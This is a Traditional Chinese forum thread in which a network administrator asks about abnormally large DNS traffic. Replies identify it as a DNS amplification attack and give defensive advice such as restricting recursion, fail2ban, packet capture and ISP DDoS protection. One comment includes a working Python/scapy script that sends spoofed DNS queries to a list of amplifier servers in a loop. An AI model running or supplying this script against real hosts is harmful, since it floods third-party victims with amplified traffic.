iT邦幫忙

0

請問DNS封包到達數十MB以上Size這情況正常嗎? 如不正常,要怎麼分析封包或防堵?

  • 分享至 

  • twitterImage

大家好:

最近在觀察網路流量,明明租用2M/2M FFTB 光纖專線,但偶爾就會有一個流量衝上來,
這個流量大多衝到5~6MB,造成對外的網路瞬斷,使得正常連線中的VPN服務會中斷掉

經過分析發現PaloAlto 防火牆上有Log到異常的DNS流量,單筆紀錄Size有可能到達十MB以上Size請問這情況正常嗎?
如不正常,要怎麼分析封包或防堵?

以前在學校學到的網路理論正常DNS詢問回覆往來封包Size頂多是個位數KB大小,即使是這一台DNS所有的紀錄也不到20筆,全部匯出還不到1KB,要到千倍MB以上的流量,感覺上就是詭異的異常行為。

因為這一台主機有經過NAT對外負責公司的DNS與FTP任務,防火牆上也只開通這兩個Service Port,平常也有裝防毒軟體,最近更利用其他品牌軟體交叉掃過病毒與木馬,也沒發現異常。甚至觀察所有的Processor跑DNS Service Port 的也沒發現異常的Processor。

CalvinKuo iT邦大師 7 級 ‧ 2015-06-26 13:40:27 檢舉
當然不正常,看看下面這篇對你有沒有幫助.
DNS 放大攻擊簡介與防制
mytiny iT邦超人 1 級 ‧ 2015-06-26 20:27:49 檢舉
很明顯是DNS放大攻擊,要趕緊處理
因為看來是DDoS,只是頻率還不高
等發動起來就慘了
防火牆是沒法阻擋外部DDoS海量攻擊的
原因有可能是內部APT所引起
ayu iT邦好手 2 級 ‧ 2015-06-30 15:06:50 檢舉
拒絕提供遞迴查詢服務, 就應該有明顯效果, 只是查詢封包還是進得來.
如果你是用 UNIX + Bind9 的話, 增設bind log再搭配 fail2ban, 是個有效方法.

以下的Python程式碼僅供參考.
from scapy.all import *
import sys
from random import randrange
try:
TARGET=sys.argv[1]
AMP_LIST=sys.argv[2]
except:
print "Usage: ./"+__file__+" [TARGET] [AMP LIST]"
exit(1)
print "[+] Attacking "+TARGET+"..."
print
while 1:
with open(AMP_LIST,"r") as f:
for SERVER in f:
SERVER=SERVER.replace("\n","")
try:
send(IP(dst=SERVER, src=TARGET)/UDP(dport=53, sport=randrange(1024,65535))/DNS(qd=DNSQR(qname="goo.gl", qtype="TXT")),verbose=0)
print "[+] Sent spoofed DNS request to: "+SERVER
except:
print "[-] Could not send spoofed DNS request to "+SERVER+" (is the server online?)"
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

2 個回答

2
zyman2008
iT邦大師 6 級 ‧ 2015-06-26 15:31:40
最佳解答

1.分析封包
方法1:直接用Palo Alto防火牆抓封包
https://live.paloaltonetworks.com/videos/1355
方法2:在DNS server上抓封包
常用工具,https://www.wireshark.org/docs/

2.防堵
如果分析完,這些大量來自外部的DNS query都和你DNS server管理的網域無關.
那就代表是被攻擊了.防堵的建議,
方法1:修補你的DNS server設定,並且找你的ISP看他有沒有賣DDos防護的服務,幫你擋著先.
方法2:把你的DNS服務搬到ISP去,也是他在幫你擋著先.(死道友不死貧道)
搬家後,記得還要換門牌(IP address),不然那些白目BOTs還是會繼續的打這個IP.

6

open DNS 被打
限能查自己Domain的就好了

被打了+1 我們公司的之前被打到整個掛掉
做了限制之後就好了...

我要發表回答

立即登入回答